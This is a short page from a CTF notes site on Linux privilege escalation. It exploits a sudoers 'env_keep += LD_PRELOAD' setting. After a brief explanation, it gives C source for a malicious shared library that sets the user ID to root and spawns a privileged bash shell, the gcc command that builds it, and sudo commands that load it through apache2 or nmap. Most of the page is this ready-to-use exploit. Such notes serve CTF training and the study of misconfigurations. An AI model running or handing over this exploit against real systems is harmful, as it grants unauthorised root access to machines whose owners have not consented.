> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/linux-priv/sudo/ld_preload.md).

# LD\_PRELOAD

LD\_PRELOAD is an environment variable in Unix like systems that allows you to specify a list of shared libraries that should be loaded before the standard system libraries when a program is executed.

By including `env_keep += LD_PRELOAD` in the `sudoers` file, you're specifying that when users execute commands with `sudo`, the `LD_PRELOAD` environment variable will be preserved from their original environment to the elevated environment - so library is loaded. 

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FR2z9NfFdaPZztSyw94Fl%2Fimage.png?alt=media&amp;token=3b973a33-f48f-4fe3-b6bf-298f0c8dd1cc" alt=""><figcaption></figcaption></figure>

### Create so library&#x20;

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);
	system("/bin/bash -p");
}

# gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
```

### Escalate privilege&#x20;

```bash
sudo LD_PRELOAD=/tmp/preload.so apache2
# or
sudo LD_PRELOAD=/tmp/preload.so nmap
```